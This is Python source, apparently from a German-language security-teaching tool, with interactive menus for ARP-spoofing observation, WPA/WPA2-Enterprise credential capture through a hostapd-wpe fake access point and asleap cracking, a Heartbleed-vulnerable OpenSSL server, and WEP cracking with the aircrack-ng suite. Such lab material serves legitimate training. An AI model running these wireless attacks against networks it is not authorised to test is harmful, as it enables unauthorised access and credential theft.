def SniffingMode(): shellCols = colors.ShellColors showMenu = True while (showMenu): clearScreen() print(shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü Opfer der Darstellung des Netzwerkverkehrs: ' + shellCols.ENDC + '\n') ##Schritt 1 #TODO Was wird mit Host Netwerk gemeint print( 'Stelle im ersten Schritt sicher, dass du direkten Zugriff auf das Host-Netzwerk hast.\n' ) selection = raw_input( shellCols.BLUE + '\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurück zum Hauptmenü') showMenu = False break ##Schritt 2 # Hier vieleicht interactiver man kann ja auch ein netzwerk scan machen beim angrefeier und dann überprüfen ob sie überein stimmen command = rlinput( 'Rufe nun die Konfiguration deiner IP-Netzwerkschnittstellen auf und lies dort deine IP-Adresse aus: ', 'ifconfig') os.system(command) print('\n') ##Schritt 3 print( 'Als Zweites musst du deine ARP-Tabelle aufrufen, um sie ohne Manipulation zu sehen. ' ) command = rlinput( 'Das Aufrufen deiner ARP-Tabelle geht mit folgendem Befehl: ', 'arp -a') os.system(command) print('\n') ##Schritt 3 print( 'Jetzt musst du warten, bis der Angreifer die Attacke durchgeführt hat.\n' ) selection = raw_input( shellCols.BLUE + '\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurück zum Hauptmenü') showMenu = False break ##Schritt 4 command = rlinput( 'Rufe noch einmal die ARP-Tabelle auf und vergleiche sie mit der vorherigen Tabelle: ', 'arp -a') os.system(command) print('\n') ##Schritt 5 selection = raw_input(shellCols.BLUE + '\nDrücke x um das Programm zu verlassen... ' + shellCols.ENDC) print('Gehe zurück zum Hauptmenü') showMenu = False break
def Enterprise_Menu(): attack = True while (attack == True): clearScreen() shellCols = colors.ShellColors print shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü: WPA/WPA2-Enterprise Passwort knacken' + shellCols.ENDC + '\n' print( "Neben klassischen PSK-gesicherten Netzen findet man vor allem im Firmenumfeld oft, durch einen Benutzermanagementsserver verwaltete, Enterprise-gesicherte WLAN-Netze. " + "Bei der Enterprise-Verschlüsselung wird zur erfolgreichen Authentifikation ein Paar aus Nutzername und dazugehörigem Passwort. Das Authentifikationsanfrage wird vom Router an einen Radiusserver weitergeleitet. " + "Diese Art der Absicherung von WLAN-Netzen kann für einen Angreifer besonders lukrativ sein, da das für die Authentifikation genutzten " + "Paar oftmals auch noch Zugang zu weiteren Systemen gewährt. Somit kann erstmal nicht nur ein nicht autorisierter Zugang zu einem WLAN-Netz " + "erfolgen, sondern nachfolgend noch weitere Systeme kompromittiert werden. \n" ) print( 'Um dieses Tutorial durchzuführen müssen zuerst folgende Parameter vorgegeben werden: ' + '\n 1. Name des WLAN-Interfaces ' + '\n 2. Die SSID, Kanalnummer und Verschlüsselung des angegriffenen Routers/Netzwerks\n' ) #STEP 1 command = rlinput('WLAN-Interfacename ermitteln mittels: \n# ', 'ifconfig') execute(command) wifi_name = raw_input("Name des WLAN-Interfaces hier angeben: ") #KILL PROCESSES generics.kill_wifi_proc() #STEP 2 command = rlinput( 'Die SSID und Kanalnummer ermitteln (Netzwerk anhand der SSID indentifzieren): \n# ', 'airodump-ng ' + wifi_name) execute(command) router_ssid = raw_input("Bitte die Router SSID angeben: ") router_chn = raw_input("Bitte die Netzwerk Kanalnummer angeben: ") print('Verschlüsselung des Netzes: ' + '\n 1. WPA ' + '\n 2. WPA2 \n') try: selection = input( "Die Verschlüsselung bitte hier eingeben und mit Enter bestätigen: " ) except SyntaxError: selection = 1 if ((selection != 1) and (selection != 2)): print( "Die ausgewählte Verschlüsselung existiert nicht. Bitte eine Auswahl zwischen 1 und 2 angeben." ) selection = raw_input( "Die Verschlüsselung bitte hier eingeben und mit Enter bestätigen: " ) if ((selection != 1) and (selection != 2)): print( 'Mehrere falsche Eingaben wurden erkannt. Zum Fortfahren wurde automatisch Verschlüsselung 1 gewählt!' ) selection = 1 wpa_mode = selection #STRIP STRINGS wifi_name = wifi_name.strip() router_ssid = router_ssid.strip() router_chn = router_chn.strip() #OVERVIEW CONFIGURATION print("\n") print shellCols.UNDERLINE + shellCols.HEADER + "Folgende Konfiguration für die Druchführung der Angriffe wurde festgehalten:" + shellCols.ENDC + '\n' print('WLAN-Interfacename: ' + wifi_name) print('SSID: ' + router_ssid) print('Kanalnummer: ' + router_chn) if (wpa_mode == 1): print('Verschlüsselung: WPA') else: print('Verschlüsselung: WPA2') print("\n") ################################################## ## TODO Refactor fake AP Use Dispro Package ## Only Config needed ## #SWITCHING NETWORK CONFIG print('Anpassen der WIFI-Interfacekonfiguration des Betriebssystems.') command = rlinput( 'Zwischenspeichern der Originalkonfiguration: \n# ', 'cp /etc/network/interfaces /etc/network/interfaces_restore') os.system(command) print("Anpassen der Interfaces-Konfiguration.") exist = generics.check_string("/etc/network/interfaces", "iface " + wifi_name + " inet") if (exist == True): # Check if exist = generics.check_string( "/etc/network/interfaces", "iface " + wifi_name + " inet manual") if (exit == True): print "Interface ist schon auf manuell gesetzt. Wurde die Anwendung vielleicht das letzte mal nicht richtig bendet?\n" else: generics.find_replace_line("/etc/network/interfaces", "iface " + wifi_name + " inet", "#iface " + wifi_name + " inet") generics.append("/etc/network/interfaces", "iface " + wifi_name + " inet manual") else: generics.append("/etc/network/interfaces", "iface " + wifi_name + " inet manual") #RESTART Network-Manager generics.restart_networkmanager() print shellCols.UNDERLINE + shellCols.HEADER + "Konfigurieren des Fake-Enterprise-Routers" + shellCols.ENDC + '\n' print("Folgende Anpassungen werden vorgenommen (hostapd-wpe.conf):") print("Zeile 11: interface=" + wifi_name) generics.replace_line("WIFI/hostapd-wpe.conf", 10, "interface=" + wifi_name + "\n") print("Zeile 14: #driver=wired") generics.replace_line("WIFI/hostapd-wpe.conf", 13, "#driver=wired" + "\n") print("Zeile 25: ssid=" + router_ssid) generics.replace_line("WIFI/hostapd-wpe.conf", 24, "ssid=" + router_ssid + "\n") print("Zeile 27: channel=" + router_chn) generics.replace_line("WIFI/hostapd-wpe.conf", 26, "channel=" + router_chn + "\n") print("Zeile 49: wpa=" + str(wpa_mode)) generics.replace_line("WIFI/hostapd-wpe.conf", 48, "wpa=" + str(wpa_mode) + "\n") print("\n") #START THE FAKE AP command = rlinput( 'Starten des konfigurierten Fake-Enterprise-Routers und Aufzeichnung eines Authentifikationsversuchs (Liegt ein Versuch bestehend aus Challange und Response vor kann der Prozess beendet werden, wenn der AP nicht gestart werden kann muss man zusätlich in einer weiteren Consolle killall wpa_supplicant ausgeführt werden): \n# ', 'WIFI/startFakeAP.sh') execute(command) #WAIT FOR CHALLANGE RESPONSE PAIR print( "Wurde ein Authentifikationsversuch aufgezeichnet, kann der Fake-AP heruntergefahren und die Deauthenticate-Attacke beendet werden und es können folgende Parameter ausgefüllt werden(Deise müssen aus dem Log des FAKE AP entnohmen werden):" ) challenge = raw_input( "Challenge des Authentifikationsversuch: ").strip() response = raw_input("Response des Authentifikationsversuch: ").strip() #CRACK THE PWD command = rlinput( 'Knacken des Passwortes mittels eines Wörterbuchangriffs: \n# ', 'asleap -C ' + challenge + " -R " + response + " -W WIFI/dict.txt") execute(command) #!!!! TODO !!!! is not Corekt #REDO INTERFACE CONFIG command = rlinput( 'Wiederherstellen der Originalkonfiguration: \n# ', 'mv /etc/network/interfaces_restore /etc/network/interfaces') os.system(command) generics.restart_networkmanager() #END print( 'Ende des WPA/WPA2-Enterprise-Tutorials erreicht! \n Bitte wählen zum Fortfahren: \n' ) print('1. Zurück zum Menü \n' + '2. Zurück zur WPA/WPA2-Enterprise-Übersicht\n' + '0. Tutorial beenden \n') try: selection = input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") except SyntaxError: selection = 0 if (selection == 1): attack = False return True elif (selection == 2): attack = True #Just du magic stuff. Unicorn!! else: attack = False return False
def ConfigureAndStartServer(): shellCols = colors.ShellColors showMenu = True while (showMenu): clearScreen() print(shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü Opfer/Server OpenSSL Heartbleed' + shellCols.ENDC + '\n') #Resolving System Architecture #os.name -> 5-tuple containing sysname, nodename, release, version, machine temp_os_machine = os.uname()[4] #shorten architecture to arm or x86, it is empty with no match architecture = 'arm' if (temp_os_machine == 'armv7l') else '' architecture = 'x86' if (temp_os_machine == 'x86_64' or temp_os_machine == 'i686') else architecture #Output the result output = 'System Architektur konnte weder ARM noch X86 zugeordnet werden' if ( architecture == '') else 'System Architektur >>' + architecture + '<< erkannt.' print(output) print('\n') # Version print( "OpenSSL ist eine Bibliothek rund um die Erzeugung von Zertifikaten und verschlüsselter Verbindungen. Die Versionen 1.0.1 bis einschließlich 1.0.1f waren von der Heartbleed-Lücke betroffen.\n\n" ) command = rlinput("Überprüfe die Version von OpenSSL: \n# ", "./" + architecture + "_openssl version") os.system(command) print('\n') # alte Files löschen try: os.remove("private_key.pem") os.remove("certificate.pem") except OSError: pass # Private Key und Zertifikat erstellen print( "Für einen SSL-Server muss ein Private Key und ein Zertifikat erstellt werden. Die Angaben für die Zertifikatserstellung können freigelassen werden.\n\n" ) command = rlinput( "Erzeuge Private Key und Zertifikat: \n# ", "./" + architecture + "_openssl req -x509 -newkey rsa:1024 -keyout private_key.pem -out certificate.pem -days 365 -nodes -config /etc/ssl/openssl.cnf" ) os.system(command) print('\n') # Private Key anzeigen print( "Der erzeugte RSA Private Key kann mit OpenSSL Base64-kodiert angezeigt werden.\n\n" ) command = rlinput( "Zeige Private Key an:\n# ", "./" + architecture + "_openssl rsa -in private_key.pem") os.system(command) print('\n') # Server starten print("Nun wird der verwundbare Server gestartet.\n\n") command = rlinput( "Starte Server:\n# ", "./" + architecture + "_openssl s_server -key private_key.pem -cert certificate.pem -accept 8989 -www" ) execute(command) print( '\n Der einfache Webserver kann nun auch im Browser unter https://localhost:8989 geöffnet werden. Es wird eine Info-Seite mit verfügbaren CipherSuites angezeigt.\n\n Nun kann der Angriff auf den Server gestartet werden.\n\n' ) ##Beenden selection = raw_input(shellCols.BLUE + 'Drücke 0 um zum Menü zurückzukehren.' + shellCols.ENDC) print('Gehe zurück zum Hauptmenü') showMenu = False break
def WEP_Open(): attack = True while (attack == True): clearScreen() shellCols = colors.ShellColors print shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü: WEP-Passwort knacken' + shellCols.ENDC + '\n' print( "WEP (Wired Equivalent Privacy) ist ein Standard für die Verschlüsselung und Authentifizierung von WLANs aus dem Jahr 1999. " + "Ziel war es, Funknetzwerke genauso sicher, wie kabelgebundene Netzwerke zu machen. Um dieses Ziel zu erreichen, bietet WEP Mechanismen " + "für die Authentifizierung, Verschlüsselung und Integritätsprüfung. WEP enthält grundlegende Design-Schwächen und gilt seit 2001 als geknackt." + "Für die Authentifizierung der Clients am Access Point sieht WEP zwei Varianten vor, die Open-System-Authentication oder die Shared-Key-" + "Authentication." + "Das nachfolgende Tutorial unterstützt beim Durchführen eines Angriffes auf einen WEP-Open-gesicherten Router. \n" ) print( 'Um dieses Tutorial durchzuführen müssen zuerst folgende Parameter vorgegeben werden: ' + '\n 1. Name und MAC des WLAN-Interfaces ' + '\n 2. Die BSSID, SSID und Kanalnummer des angegriffenen Routers/Netzwerks\n' ) #STEP 1 command = rlinput('WLAN-Interfacename und MAC ermitteln mittels: \n# ', 'ifconfig') execute(command) wifi_name = raw_input("Name des WLAN-Interfaces hier angeben: ") wifi_mac = raw_input("Interface-MAC angeben: ") #KILL PROCESSES generics.kill_wifi_proc() #STEP BETWEEN 1 AND 2 do5GHZ = generics.Is5GHz() str5ghz = "" if (do5GHZ): str5ghz = " --band a " #STEP 2 command = rlinput( 'Die BSSID und Kanalnummer ermitteln (Netzwerk anhand der SSID indentifzieren): \n# ', 'airodump-ng ' + str5ghz + wifi_name) execute(command) router_ssid = raw_input("Bitte die Netzwerk SSID angeben: ") router_chn = raw_input("Bitte die Netzwerk Kanalnummer angeben: ") router_bssid = raw_input("Bitte die Router BSSID angeben: ") #STRIP STRINGS wifi_name = wifi_name.strip() wifi_mac = wifi_mac.strip() router_ssid = router_ssid.strip() router_chn = router_chn.strip() router_bssid = router_bssid.strip() #OVERVIEW CONFIGURATION print("\n") print shellCols.UNDERLINE + shellCols.HEADER + "Folgende Konfiguration für die Druchführung der Angriffe wurde festgehalten:" + shellCols.ENDC + '\n' print('WLAN-Interfacename: ' + wifi_name) print('WLAN-Interface-MAC: ' + wifi_mac) print('SSID: ' + router_ssid) print('Kanalnummer: ' + router_chn) print('BSSID: ' + router_bssid) if (do5GHZ): print('Band: 5GHz') else: print('Band: 2.4GHz') print("\n") #RECORD TRAFFIC print("Jetzt erst beginnt der tatsächliche Angriff: \n") print('Wird ein WEP-Open- oder ein WEP-Shared-Netz angegriffen: \n') print('1. WEP-Open \n' + '2. WEP-Shared\n') try: selection = input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") except SyntaxError: selection = True if (selection == 1): wep_open = True else: wep_open = False if (wep_open == False): success = False while (success != True): success = WEP_Shared(wifi_name, wifi_mac, router_ssid, router_bssid, router_chn) command = rlinput( 'Aufnahme des Netzwerkverkehrs (Im Hintergrund geöffnet lassen): \n# ', 'airodump-ng -c ' + router_chn + str5ghz + ' -w ' + router_ssid + ' --bssid ' + router_bssid.replace(" ", "\s") + ' ' + wifi_name) execute(command) #INJECTION TEST command = rlinput( 'Überprüfung ob Netzwerk angreifbar ist. (Nach erfolgter Prüfung kann dieses Fenster geschlossen werden.): \n# ', 'aireplay-ng -9 -e ' + router_ssid + ' -a ' + router_bssid.replace(" ", "\s") + ' ' + wifi_name) execute(command) #SEND AUTH PACKETS command = rlinput( 'Senden von authentication-Paketen, um mehr Netzwerkverkehr zu generieren (Im Hintergrund geöffnet lassen): \n# ', 'aireplay-ng -1 6 -o 1 -q 1 -e ' + router_ssid + ' -a ' + router_bssid.replace(" ", "\s") + ' -h ' + wifi_mac + ' ' + wifi_name) execute(command) #CAPTURE ARP-REQ command = rlinput( 'Abfangen und erneutes übertragen von ARP-Paketen, um mehr Netzwerkverkehr zu generieren (Kann im Hintergrund geöffnet bleiben. Falls verbundene Clients nicht mehr auf Webseiten zugreifen können, sollte dieser Prozess gestoppt werden.): \n# ', 'aireplay-ng -3 -b ' + router_bssid + ' -h ' + wifi_mac + ' ' + wifi_name) execute(command) #CALCULATE KEY print( "Nun kann während die anderen Prozesse im Hintergrund laufen das Knacken des Keys angestoßen werden. Sobald genug Informationen zum Knacken des Keys vorhanden sind, wird der Prozess automatisch mit der Extrahierung beginnen." ) #Show list of CAP-Files filenamestring = showCAPfiles(router_ssid) command = rlinput( 'Das WEP-Passwort kann nun mit Hilfe des aufgenommenen Verkehrs ermittelt werden. Wenn ein Key gefunden wurde wird dieser ausgegeben. Solange muss der Prozess weiter laufen: \n# ', 'aircrack-ng -b ' + router_bssid.replace(" ", "\s") + ' ' + filenamestring) execute(command) #ReStart Networkmanager generics.restart_networkmanager() #END print( 'Ende des WEP-Tutorials erreicht! \n Bitte wählen zum Fortfahren: \n' ) print('1. Zurück zum Menu \n' + '2. Zurück zur WEP-Übersicht\n' + '0. Tutorial beenden \n') try: selection = input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") except SyntaxError: selection = 0 if (selection == 1): attack = False return True elif (selection == 2): attack = True #Just du magic stuff. Unicorn!! else: attack = False return False